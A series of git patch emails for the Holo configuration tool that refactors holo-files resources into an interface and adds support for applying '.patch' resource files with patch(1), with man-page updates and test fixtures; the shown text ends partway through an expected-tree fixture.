From dc0aebd45c2de44e32352502700cc30fe53915ff Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Thu, 26 Jan 2017 17:38:34 -0500 Subject: [PATCH 1/6] holo-files/impl.Resource: Pre-compute the disambiguator and entityPath. This simplifies the code; as most of the code from the old separate Disambiguator() and EntityPath() was identical. --- cmd/holo-files/internal/impl/resource.go | 40 ++++++++++-------------- 1 file changed, 16 insertions(+), 24 deletions(-) diff --git a/cmd/holo-files/internal/impl/resource.go b/cmd/holo-files/internal/impl/resource.go index 46cc05d..7a63fce 100644 --- a/cmd/holo-files/internal/impl/resource.go +++ b/cmd/holo-files/internal/impl/resource.go @@ -32,47 +32,39 @@ import ( "github.com/holocm/holo/cmd/holo-files/internal/common" ) -//Resource represents a single file in $HOLO_RESOURCE_DIR. The string -//stored in it is the path to the repo file (also accessible as Path()). -type Resource string +//Resource represents a single file in $HOLO_RESOURCE_DIR. +type Resource struct { + path string + disambiguator string + entityPath string +} //NewResource creates a Resource instance when its path in the file system is //known. func NewResource(path string) Resource { - return Resource(path) + relPath, _ := filepath.Rel(common.ResourceDirectory(), path) + segments := strings.SplitN(relPath, string(filepath.Separator), 2) + return Resource{ + path: path, + disambiguator: segments[0], + entityPath: strings.TrimSuffix(segments[1], ".holoscript"), + } } //Path returns the path to this resource in the file system. func (resource Resource) Path() string { - return string(resource) + return resource.path } //EntityPath returns the path to the corresponding entity. func (resource Resource) EntityPath() string { - //the optional ".holoscript" suffix appears only on resources - path := resource.Path() - path = strings.TrimSuffix(path, ".holoscript") - - //make path relative - relPath, _ := filepath.Rel(common.ResourceDirectory(), path) - //remove the disambiguation path element to get to the relPath for the ConfigFile - //e.g. path = '/usr/share/holo/files/23-foo/etc/foo.conf' - // -> relPath = '23-foo/etc/foo.conf' - // -> relPath = 'etc/foo.conf' - segments := strings.SplitN(relPath, fmt.Sprintf("%c", filepath.Separator), 2) - relPath = segments[1] - - return relPath + return resource.entityPath } //Disambiguator returns the disambiguator, i.e. the Path() element before the //EntityPath() that disambiguates multiple resources for the same entity. func (resource Resource) Disambiguator() string { - //make path relative to ResourceDirectory() - relPath, _ := filepath.Rel(common.ResourceDirectory(), resource.Path()) - //the disambiguator is the first path element in there - segments := strings.SplitN(relPath, fmt.Sprintf("%c", filepath.Separator), 2) - return segments[0] + return resource.disambiguator } //ApplicationStrategy returns the human-readable name for the strategy that From cf1d60b2cfd7fe6c534995a02fd63933f325e053 Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Thu, 26 Jan 2017 06:13:05 -0500 Subject: [PATCH 2/6] holo-files: Turn Resource into an interface, split the implementation. This makes the minimal textual changes to accomplish this (don't move things between files, add a bogus `if true {` to avoid indentation change, ...), to make rebasing it easier. The next commit will clean that up. --- cmd/holo-files/internal/impl/resource.go | 87 +++++++++++++++++------- 1 file changed, 62 insertions(+), 25 deletions(-) diff --git a/cmd/holo-files/internal/impl/resource.go b/cmd/holo-files/internal/impl/resource.go index 7a63fce..b6e749a 100644 --- a/cmd/holo-files/internal/impl/resource.go +++ b/cmd/holo-files/internal/impl/resource.go @@ -33,7 +33,35 @@ import ( ) //Resource represents a single file in $HOLO_RESOURCE_DIR. -type Resource struct { +type Resource interface { + // Path returns the path to this resource in the file system. + Path() string + + // Disambiguator returns the disambiguator, i.e. the Path() + // element before the EntityPath() that disambiguates multiple + // resources for the same entity. + Disambiguator() string + + // EntityPath returns the path to the corresponding entity. + EntityPath() string + + // ApplicationStrategy returns the human-readable name for the + // strategy that will be employed to apply this resource. + ApplicationStrategy() string + + // DiscardsPreviousBuffer indicates whether applying this + // resource will discard the previous file buffer (and thus + // the effect of all previous resources). This is used as a + // hint by the application algorithm to decide whether + // application steps can be skipped completely. + DiscardsPreviousBuffer() bool + + // ApplyTo applies this Resource to a file buffer, as part of + // the `holo apply` algorithm. + ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) +} + +type rawResource struct { path string disambiguator string entityPath string @@ -44,51 +72,46 @@ type Resource struct { func NewResource(path string) Resource { relPath, _ := filepath.Rel(common.ResourceDirectory(), path) segments := strings.SplitN(relPath, string(filepath.Separator), 2) - return Resource{ + raw := rawResource{ path: path, disambiguator: segments[0], entityPath: strings.TrimSuffix(segments[1], ".holoscript"), } + if strings.HasSuffix(raw.path, ".holoscript") { + return Holoscript{raw} + } + return StaticResource{raw} } //Path returns the path to this resource in the file system. -func (resource Resource) Path() string { +func (resource rawResource) Path() string { return resource.path } //EntityPath returns the path to the corresponding entity. -func (resource Resource) EntityPath() string { +func (resource rawResource) EntityPath() string { return resource.entityPath } //Disambiguator returns the disambiguator, i.e. the Path() element before the //EntityPath() that disambiguates multiple resources for the same entity. -func (resource Resource) Disambiguator() string { +func (resource rawResource) Disambiguator() string { return resource.disambiguator } -//ApplicationStrategy returns the human-readable name for the strategy that -//will be employed to apply this repo file. -func (resource Resource) ApplicationStrategy() string { - if strings.HasSuffix(resource.Path(), ".holoscript") { - return "passthru" - } - return "apply" -} +// StaticResource is a Resource that is a plain static file that +// replaces the current version of the entity. +type StaticResource struct{ rawResource } -//DiscardsPreviousBuffer indicates whether applying this file will discard the -//previous file buffer (and thus the effect of all previous application steps). -//This is used as a hint by the application algorithm to decide whether -//application steps can be skipped completely. -func (resource Resource) DiscardsPreviousBuffer() bool { - return resource.ApplicationStrategy() == "apply" -} +// ApplicationStrategy implements the Resource interface. +func (resource StaticResource) ApplicationStrategy() string { return "apply" } -//ApplyTo applies this Resource to a file buffer, as part of the `holo apply` -//algorithm. Regular repofiles will replace the file buffer, while a holoscript -//will be executed on the file buffer to obtain the new buffer. -func (resource Resource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { - if resource.ApplicationStrategy() == "apply" { +// DiscardsPreviousBuffer implements the Resource interface. +func (resource StaticResource) DiscardsPreviousBuffer() bool { return true } + +// ApplyTo implements the Resource interface. +func (resource StaticResource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + if true { // bogus indentation to make the patch cleaner resourceBuffer, err := common.NewFileBuffer(resource.Path()) if err != nil { return common.FileBuffer{}, err @@ -103,7 +126,21 @@ func (resource Resource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuf } return entityBuffer, nil } + panic("not reached") +} + +// Holoscript is a Resource that is a script that edits the current +// version of the entity. +type Holoscript struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource Holoscript) ApplicationStrategy() string { return "passthru" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource Holoscript) DiscardsPreviousBuffer() bool { return false } +// ApplyTo implements the Resource interface. +func (resource Holoscript) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { //application of a holoscript requires file contents entityBuffer, err := entityBuffer.ResolveSymlink() if err != nil { From aa2662100c8f411a03c1761369bec160ec7078d1 Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Mon, 5 Feb 2018 00:25:33 -0500 Subject: [PATCH 3/6] holo-files: Split resource.go into multiple files, tidy. - shorten rawResource's methods - remove the bogus 'if true' from StaticResource.ApplyTo() --- cmd/holo-files/internal/impl/resource.go | 90 +------------------ .../internal/impl/resource_script.go | 68 ++++++++++++++ .../internal/impl/resource_static.go | 55 ++++++++++++ 3 files changed, 127 insertions(+), 86 deletions(-) create mode 100644 cmd/holo-files/internal/impl/resource_script.go create mode 100644 cmd/holo-files/internal/impl/resource_static.go diff --git a/cmd/holo-files/internal/impl/resource.go b/cmd/holo-files/internal/impl/resource.go index b6e749a..71dec82 100644 --- a/cmd/holo-files/internal/impl/resource.go +++ b/cmd/holo-files/internal/impl/resource.go @@ -22,10 +22,6 @@ package impl import ( - "bytes" - "fmt" - "os" - "os/exec" "path/filepath" "strings" @@ -67,6 +63,10 @@ type rawResource struct { entityPath string } +func (resource rawResource) Path() string { return resource.path } +func (resource rawResource) Disambiguator() string { return resource.disambiguator } +func (resource rawResource) EntityPath() string { return resource.entityPath } + //NewResource creates a Resource instance when its path in the file system is //known. func NewResource(path string) Resource { @@ -83,88 +83,6 @@ func NewResource(path string) Resource { return StaticResource{raw} } -//Path returns the path to this resource in the file system. -func (resource rawResource) Path() string { - return resource.path -} - -//EntityPath returns the path to the corresponding entity. -func (resource rawResource) EntityPath() string { - return resource.entityPath -} - -//Disambiguator returns the disambiguator, i.e. the Path() element before the -//EntityPath() that disambiguates multiple resources for the same entity. -func (resource rawResource) Disambiguator() string { - return resource.disambiguator -} - -// StaticResource is a Resource that is a plain static file that -// replaces the current version of the entity. -type StaticResource struct{ rawResource } - -// ApplicationStrategy implements the Resource interface. -func (resource StaticResource) ApplicationStrategy() string { return "apply" } - -// DiscardsPreviousBuffer implements the Resource interface. -func (resource StaticResource) DiscardsPreviousBuffer() bool { return true } - -// ApplyTo implements the Resource interface. -func (resource StaticResource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { - if true { // bogus indentation to make the patch cleaner - resourceBuffer, err := common.NewFileBuffer(resource.Path()) - if err != nil { - return common.FileBuffer{}, err - } - entityBuffer.Contents = resourceBuffer.Contents - entityBuffer.Mode = (entityBuffer.Mode &^ os.ModeType) | (resourceBuffer.Mode & os.ModeType) - - //since Linux disregards mode flags on symlinks and always reports 0777 perms, - //normalize the mode thusly to make FileBuffer.EqualTo() work reliably - if entityBuffer.Mode&os.ModeSymlink != 0 { - entityBuffer.Mode = os.ModeSymlink | os.ModePerm - } - return entityBuffer, nil - } - panic("not reached") -} - -// Holoscript is a Resource that is a script that edits the current -// version of the entity. -type Holoscript struct{ rawResource } - -// ApplicationStrategy implements the Resource interface. -func (resource Holoscript) ApplicationStrategy() string { return "passthru" } - -// DiscardsPreviousBuffer implements the Resource interface. -func (resource Holoscript) DiscardsPreviousBuffer() bool { return false } - -// ApplyTo implements the Resource interface. -func (resource Holoscript) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { - //application of a holoscript requires file contents - entityBuffer, err := entityBuffer.ResolveSymlink() - if err != nil { - return common.FileBuffer{}, err - } - - //run command, fetch result file into buffer (not into the entity - //directly, in order not to corrupt the file there if the script run fails) - var stdout bytes.Buffer - cmd := exec.Command(resource.Path()) - cmd.Stdin = strings.NewReader(entityBuffer.Contents) - cmd.Stdout = &stdout - cmd.Stderr = os.Stderr - err = cmd.Run() - if err != nil { - return common.FileBuffer{}, fmt.Errorf("execution of %s failed: %s", resource.Path(), err.Error()) - } - - //result is the stdout of the script - entityBuffer.Mode &^= os.ModeType - entityBuffer.Contents = stdout.String() - return entityBuffer, nil -} - //Resources holds a slice of Resource instances, and implements some methods //to satisfy the sort.Interface interface. type Resources []Resource diff --git a/cmd/holo-files/internal/impl/resource_script.go b/cmd/holo-files/internal/impl/resource_script.go new file mode 100644 index 0000000..fc17690 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_script.go @@ -0,0 +1,68 @@ +/******************************************************************************* +* +* Copyright 2015 Stefan Majewsky +* Copyright 2017 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "bytes" + "fmt" + "os" + "os/exec" + "strings" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// Holoscript is a Resource that is a script that edits the current +// version of the entity. +type Holoscript struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource Holoscript) ApplicationStrategy() string { return "passthru" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource Holoscript) DiscardsPreviousBuffer() bool { return false } + +// ApplyTo implements the Resource interface. +func (resource Holoscript) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + //application of a holoscript requires file contents + entityBuffer, err := entityBuffer.ResolveSymlink() + if err != nil { + return common.FileBuffer{}, err + } + + //run command, fetch result file into buffer (not into the entity + //directly, in order not to corrupt the file there if the script run fails) + var stdout bytes.Buffer + cmd := exec.Command(resource.Path()) + cmd.Stdin = strings.NewReader(entityBuffer.Contents) + cmd.Stdout = &stdout + cmd.Stderr = os.Stderr + err = cmd.Run() + if err != nil { + return common.FileBuffer{}, fmt.Errorf("execution of %s failed: %s", resource.Path(), err.Error()) + } + + //result is the stdout of the script + entityBuffer.Mode &^= os.ModeType + entityBuffer.Contents = stdout.String() + return entityBuffer, nil +} diff --git a/cmd/holo-files/internal/impl/resource_static.go b/cmd/holo-files/internal/impl/resource_static.go new file mode 100644 index 0000000..c1bb863 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_static.go @@ -0,0 +1,55 @@ +/******************************************************************************* +* +* Copyright 2015 Stefan Majewsky +* Copyright 2017 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "os" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// StaticResource is a Resource that is a plain static file that +// replaces the current version of the entity. +type StaticResource struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource StaticResource) ApplicationStrategy() string { return "apply" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource StaticResource) DiscardsPreviousBuffer() bool { return true } + +// ApplyTo implements the Resource interface. +func (resource StaticResource) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + resourceBuffer, err := common.NewFileBuffer(resource.Path()) + if err != nil { + return common.FileBuffer{}, err + } + entityBuffer.Contents = resourceBuffer.Contents + entityBuffer.Mode = (entityBuffer.Mode &^ os.ModeType) | (resourceBuffer.Mode & os.ModeType) + + //since Linux disregards mode flags on symlinks and always reports 0777 perms, + //normalize the mode thusly to make FileBuffer.EqualTo() work reliably + if entityBuffer.Mode&os.ModeSymlink != 0 { + entityBuffer.Mode = os.ModeSymlink | os.ModePerm + } + return entityBuffer, nil +} From 610d23e98be61123b9257cfd0febbfb4b0e4947f Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Sun, 4 Feb 2018 12:09:01 -0500 Subject: [PATCH 4/6] util/dump-to-tree.sh: Correctly handle backslashes in file contents. This affects patch files with the "\ No newline at end of file" footer. --- util/dump-to-tree.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/util/dump-to-tree.sh b/util/dump-to-tree.sh index e3d3c56..f323fa8 100755 --- a/util/dump-to-tree.sh +++ b/util/dump-to-tree.sh @@ -40,7 +40,7 @@ while read_and_inc FILE_TYPE FILE_MODE FILE_PATH; do file) install -D -m "${FILE_MODE}" /dev/null "${FILE_PATH}" # header is followed by file content, terminated by a separator line like "---------------" - while IFS='' read_and_inc_or_fail LINE; do + while IFS='' read_and_inc_or_fail -r LINE; do if [[ "${LINE}" =~ ^-+$ ]]; then break fi From 52364c32d6d27d2ada57b976ef32e8354f5ef40c Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Mon, 4 Dec 2017 19:40:12 -0500 Subject: [PATCH 5/6] doc/holo-files: Refactor wording in anticipation of what is coming. Alone, this is probably a bad change. But, this structure is amenable to adding other resource types; which a subsequent commit will do. I wanted these wording changes to be review-able separately from wording for new behavior. --- doc/holo-files.8.pod | 39 +++++++++++++++++++++++++++------------ 1 file changed, 27 insertions(+), 12 deletions(-) diff --git a/doc/holo-files.8.pod b/doc/holo-files.8.pod index ca281d4..800a1d0 100644 --- a/doc/holo-files.8.pod +++ b/doc/holo-files.8.pod @@ -40,14 +40,20 @@ Resource files are applied on the B, the initial version of the target file that was found during the first C run. This target base is saved at F. -Resource files that are plain files or symlinks will just overwrite the target -base (or all previous entries), whereas executable resource files with an extra -C<.holoscript> suffix can be used to modify the target base (or the result of a -previous application step). The target contents will be piped through the -script. This is typically used when the default configuration for an -application shall be used, but with some minor modifications. The following -example uses the default configuration for L, but enables the -"Color" and "TotalDownload" options: +How resource files are applied to the target depends on each resource's file +extension: + +=over 4 + +=item C<.holoscript> The resource file is understood to be an executable program +that can be used to modify the target. The target contents (either the original +target base, or the result of a previous resource application) will be piped +through the holoscript program. + +This is typically used when the default configuration for an application shall +be used, but with some minor modifications. The following example uses the +default configuration for L, but enables the "Color" and +"TotalDownload" options: $ cat /usr/share/holo/files/20-enable-color/etc/pacman.conf.holoscript #!/bin/sh @@ -59,10 +65,19 @@ example uses the default configuration for L, but enables the store at /var/lib/holo/files/base/etc/pacman.conf passthru /usr/share/holo/files/20-enable-color/etc/pacman.conf.holoscript -When writing the new target file, ownership and permissions will be copied from -the target base, and thus from the original target file. Furthermore, a copy of -the provisioned target file is written to -F for use by C. +This allows the file contents to be modified; however, the file permissions and +ownership are not changed, and are inherited from the target base. + +=item Otherwise, the resource file is a plain file or symlink that will just +overwrite the contents of the target base (and all previous resource application +steps). The ownership and file permissions are not set from the resource file, +and are inherited from the target base. + +=back + +When writing the new target file, a copy of the provisioned target file is +written to F for use by C. In normal operation, holo-files will refuse to operate on a target file that has been modified or deleted by the user or by another program. Apply From d3c9cba0daf2af58e241f692f50ad9214cb0e0f8 Mon Sep 17 00:00:00 2001 From: Luke Shumaker Date: Mon, 5 Feb 2018 00:49:23 -0500 Subject: [PATCH 6/6] holo-files: Implement .patch files. This ended up being a lot more work than I thought it would be... though a good chunk of that was slowly realizing all of the ways that I could mess up writing patch files (in the tests) by hand. Apparently, when applying `--git` style patches, GNU patch is pretty finicky about the "index" line, which I had expected it to basically ignore. BusyBox patch doesn't implement the `-d` flag, despite it being in POSIX for as long as `patch` has (2001; before that patch was standardized in XDG/SUS, before that merged with POSIX; but I don't have pre-merge copies handy to see if they had the `-d` flag). So use `cmd.Dir` instead of `-d`. That doesn't mean that BusyBox patch will pass the tests, just that it will work. It will still fail the tests: - The tests check for `--git` style changing of symlinks. BusyBox patch does not support patching symlinks - The tests check for `--git` style changing of and file permissions. BusyBox patch does not support that - The tests expect it to say "patching file FILENAME" when creating a file (GNU patch behavior); BusyBox patch says "creating FILENAME". - The BusyBox fuzz detector seems to be less forgiving than the GNU one; it rejects my with-fuzz test. That said, BusyBox patch will still work for users writing ordinary patch files. I will 100% not be surprised of the tests don't pass with BSD patch for similar reasons. This breaks backward compatibility in a very minor way: previously, a resource file with the ".patch" suffix was understood to be a verbatim file; this changes that, obviously. The target file is operated on in a temporary directory, and without specifying the `-p` flag or the target filename. This gives the patch the freedom to do directory-type operations (change file type). If the patch creates other files, they will be ignored. --- cmd/holo-files/internal/impl/resource.go | 12 +- .../internal/impl/resource_patch.go | 111 +++++++++ doc/holo-files.8.pod | 17 +- test/files/17-patches/expected-apply-output | 43 ++++ test/files/17-patches/expected-diff-output | 59 +++++ test/files/17-patches/expected-scan-output | 26 +++ test/files/17-patches/expected-tree | 216 ++++++++++++++++++ test/files/17-patches/source-tree | 152 ++++++++++++ 8 files changed, 631 insertions(+), 5 deletions(-) create mode 100644 cmd/holo-files/internal/impl/resource_patch.go create mode 100644 test/files/17-patches/expected-apply-output create mode 100644 test/files/17-patches/expected-diff-output create mode 100644 test/files/17-patches/expected-scan-output create mode 100644 test/files/17-patches/expected-tree create mode 100644 test/files/17-patches/source-tree diff --git a/cmd/holo-files/internal/impl/resource.go b/cmd/holo-files/internal/impl/resource.go index 71dec82..8ed9e14 100644 --- a/cmd/holo-files/internal/impl/resource.go +++ b/cmd/holo-files/internal/impl/resource.go @@ -72,15 +72,21 @@ func (resource rawResource) EntityPath() string { return resource.entityPath func NewResource(path string) Resource { relPath, _ := filepath.Rel(common.ResourceDirectory(), path) segments := strings.SplitN(relPath, string(filepath.Separator), 2) + ext := filepath.Ext(segments[1]) raw := rawResource{ path: path, disambiguator: segments[0], - entityPath: strings.TrimSuffix(segments[1], ".holoscript"), + entityPath: strings.TrimSuffix(segments[1], ext), } - if strings.HasSuffix(raw.path, ".holoscript") { + switch ext { + case ".holoscript": return Holoscript{raw} + case ".patch": + return Patchfile{raw} + default: + raw.entityPath += ext + return StaticResource{raw} } - return StaticResource{raw} } //Resources holds a slice of Resource instances, and implements some methods diff --git a/cmd/holo-files/internal/impl/resource_patch.go b/cmd/holo-files/internal/impl/resource_patch.go new file mode 100644 index 0000000..86d9ab1 --- /dev/null +++ b/cmd/holo-files/internal/impl/resource_patch.go @@ -0,0 +1,111 @@ +/******************************************************************************* +* +* Copyright 2017-2018 Luke Shumaker +* +* This file is part of Holo. +* +* Holo is free software: you can redistribute it and/or modify it under the +* terms of the GNU General Public License as published by the Free Software +* Foundation, either version 3 of the License, or (at your option) any later +* version. +* +* Holo is distributed in the hope that it will be useful, but WITHOUT ANY +* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +* A PARTICULAR PURPOSE. See the GNU General Public License for more details. +* +* You should have received a copy of the GNU General Public License along with +* Holo. If not, see . +* +*******************************************************************************/ + +package impl + +import ( + "fmt" + "io/ioutil" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/holocm/holo/cmd/holo-files/internal/common" +) + +// Patchfile is a Resource that is a `patch(1)` file that edits the +// current version of the entity. +type Patchfile struct{ rawResource } + +// ApplicationStrategy implements the Resource interface. +func (resource Patchfile) ApplicationStrategy() string { return "patch" } + +// DiscardsPreviousBuffer implements the Resource interface. +func (resource Patchfile) DiscardsPreviousBuffer() bool { return false } + +// ApplyTo implements the Resource interface. +func (resource Patchfile) ApplyTo(entityBuffer common.FileBuffer) (common.FileBuffer, error) { + // `patch` requires that the file it's operating on be a real + // file (not a pipe). So, we'll write entityBuffer to a + // temporary file, run `patch`, then read it back. + + // We really only normally need 1 temporary file, but: + // 1. since common.FileBuffer.Write removes the file and then + // re-creates it, that's a bit racy + // 2. The only way to limit patch to operating on a single + // file is to name that file on the command line, but + // doing that prevents it from unlinking the file, which + // prevents type changes. + // + // Using a temporary directory lets us easily work around both + // of these issues. Unfortunately, this allows the patch to + // create new files other than the one for the entity we are + // applying. However, it can't escape the temporary + // directory, so we'll just "allow" that, and document that we + // ignore those files. + targetDir, err := ioutil.TempDir(os.Getenv("HOLO_CACHE_DIR"), "patch-target.") + if err != nil { + return common.FileBuffer{}, err + } + defer os.RemoveAll(targetDir) + targetPath := filepath.Join(targetDir, filepath.Base(entityBuffer.Path)) + + // Write entityBuffer to the temporary file + err = entityBuffer.Write(targetPath) + if err != nil { + return common.FileBuffer{}, err + } + + // Run `patch` on the temporary file + patchfile, err := filepath.Abs(resource.Path()) + if err != nil { + return common.FileBuffer{}, err + } + cmd := exec.Command("patch", + "-N", + "-i", patchfile, + ) + cmd.Dir = targetDir + cmd.Stdout = os.Stderr + cmd.Stderr = os.Stderr + err = cmd.Run() + if err != nil { + return common.FileBuffer{}, fmt.Errorf("execution failed: %s: %s", strings.Join(cmd.Args, " "), err.Error()) + } + + // Read the result back + // + // Allow `patch` to override everything but the filepath: + // - file type (changable with git-style "deleted file + // mode"/"new file mode" lines, which are implemented by at + // least GNU patch, if not in strict POSIX mode) + // - file permissions (changable with git-style "new mode" + // lines, which are implemented by at least GNU patch) + // - UID/GID (I don't know of a patch syntax that does this, + // but maybe it will exist in the future) + // - contents (obviously) + targetBuffer, err := common.NewFileBuffer(targetPath) + if err != nil { + return common.FileBuffer{}, err + } + targetBuffer.Path = entityBuffer.Path + return targetBuffer, nil +} diff --git a/doc/holo-files.8.pod b/doc/holo-files.8.pod index 800a1d0..04e42d4 100644 --- a/doc/holo-files.8.pod +++ b/doc/holo-files.8.pod @@ -66,12 +66,25 @@ default configuration for L, but enables the "Color" and passthru /usr/share/holo/files/20-enable-color/etc/pacman.conf.holoscript This allows the file contents to be modified; however, the file permissions and -ownership are not changed, and are inherited from the target base. +ownership are not changed, and are inherited from the target base or the +previous resource application step. + +=item C<.patch> The resource file is understood to be a patch file that can be +fed to the L program. Some patch formats have the ability to change +file type and file permissions; this is respected, making this is the only +resource format that can change file permissions. + +The filename to modify is not passed to L; instead, a copy of the +target is available as the only file in the directory passed to the C<-d> flag. +This means that the filename used within the patch file must have the same +basename as the entity being operated on. Any other files that the patch file +may create are ignored. =item Otherwise, the resource file is a plain file or symlink that will just overwrite the contents of the target base (and all previous resource application steps). The ownership and file permissions are not set from the resource file, -and are inherited from the target base. +and are inherited from the target base or the previous resource application +step. =back diff --git a/test/files/17-patches/expected-apply-output b/test/files/17-patches/expected-apply-output new file mode 100644 index 0000000..852a380 --- /dev/null +++ b/test/files/17-patches/expected-apply-output @@ -0,0 +1,43 @@ + +Working on file:/etc/symlink + store at target/var/lib/holo/files/base/etc/symlink + patch target/usr/share/holo/files/17-patches/etc/symlink.patch + +patching symbolic link symlink + +Working on file:/etc/symlink-to-plain + store at target/var/lib/holo/files/base/etc/symlink-to-plain + patch target/usr/share/holo/files/17-patches/etc/symlink-to-plain.patch + +patching symbolic link symlink-to-plain +patching file symlink-to-plain + +Working on file:/etc/txtfile + store at target/var/lib/holo/files/base/etc/txtfile + patch target/usr/share/holo/files/17-patches/etc/txtfile.patch + +patching file txtfile + +Working on file:/etc/txtfile-to-symlink + store at target/var/lib/holo/files/base/etc/txtfile-to-symlink + patch target/usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch + +patching file txtfile-to-symlink +patching symbolic link txtfile-to-symlink + +Working on file:/etc/txtfile-with-fuzz + store at target/var/lib/holo/files/base/etc/txtfile-with-fuzz + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch + +patching file txtfile-with-fuzz +Hunk #1 succeeded at 1 with fuzz 1. + +Working on file:/etc/txtfile-with-garbage + store at target/var/lib/holo/files/base/etc/txtfile-with-garbage + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch + +patching file txtfile-with-garbage +patching file garbage +patching file ls + +exit status 0 diff --git a/test/files/17-patches/expected-diff-output b/test/files/17-patches/expected-diff-output new file mode 100644 index 0000000..9b8fcab --- /dev/null +++ b/test/files/17-patches/expected-diff-output @@ -0,0 +1,59 @@ +diff --holo target/var/lib/holo/files/provisioned/etc/symlink target/etc/symlink +new file mode 120000 +--- /dev/null ++++ target/etc/symlink +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +diff --holo target/var/lib/holo/files/provisioned/etc/symlink-to-plain target/etc/symlink-to-plain +new file mode 120000 +--- /dev/null ++++ target/etc/symlink-to-plain +@@ -0,0 +1 @@ ++txtfile +\ No newline at end of file +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile target/etc/txtfile +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-to-symlink target/etc/txtfile-to-symlink +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-to-symlink +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-with-fuzz target/etc/txtfile-with-fuzz +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-with-fuzz +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +diff --holo target/var/lib/holo/files/provisioned/etc/txtfile-with-garbage target/etc/txtfile-with-garbage +new file mode 100644 +--- /dev/null ++++ target/etc/txtfile-with-garbage +@@ -0,0 +1,6 @@ ++foo ++foo ++foo ++baz ++bar ++bar +exit status 0 diff --git a/test/files/17-patches/expected-scan-output b/test/files/17-patches/expected-scan-output new file mode 100644 index 0000000..ac8056e --- /dev/null +++ b/test/files/17-patches/expected-scan-output @@ -0,0 +1,26 @@ + +file:/etc/symlink + store at target/var/lib/holo/files/base/etc/symlink + patch target/usr/share/holo/files/17-patches/etc/symlink.patch + +file:/etc/symlink-to-plain + store at target/var/lib/holo/files/base/etc/symlink-to-plain + patch target/usr/share/holo/files/17-patches/etc/symlink-to-plain.patch + +file:/etc/txtfile + store at target/var/lib/holo/files/base/etc/txtfile + patch target/usr/share/holo/files/17-patches/etc/txtfile.patch + +file:/etc/txtfile-to-symlink + store at target/var/lib/holo/files/base/etc/txtfile-to-symlink + patch target/usr/share/holo/files/17-patches/etc/txtfile-to-symlink.patch + +file:/etc/txtfile-with-fuzz + store at target/var/lib/holo/files/base/etc/txtfile-with-fuzz + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-fuzz.patch + +file:/etc/txtfile-with-garbage + store at target/var/lib/holo/files/base/etc/txtfile-with-garbage + patch target/usr/share/holo/files/17-patches/etc/txtfile-with-garbage.patch + +exit status 0 diff --git a/test/files/17-patches/expected-tree b/test/files/17-patches/expected-tree new file mode 100644 index 0000000..e034cf8 --- /dev/null +++ b/test/files/17-patches/expected-tree @@ -0,0 +1,216 @@ +symlink 0777 ./etc/holorc +../../../holorc +---------------------------------------- +file 0644 ./etc/os-release +ID=unittest +---------------------------------------- +symlink 0777 ./etc/symlink +txtfile-with-fuzz +---------------------------------------- +file 0644 ./etc/symlink-to-plain +foo +foo +foo +bar +---------------------------------------- +file 0755 ./etc/txtfile +foo +foo +foo +bar +---------------------------------------- +symlink 0777 ./etc/txtfile-to-symlink +txtfile +---------------------------------------- +file 0644 ./etc/txtfile-with-fuzz +foo +foo +foo +bar +---------------------------------------- +file 0644 ./etc/txtfile-with-garbage +foo +foo +foo +bar +---------------------------------------- +directory 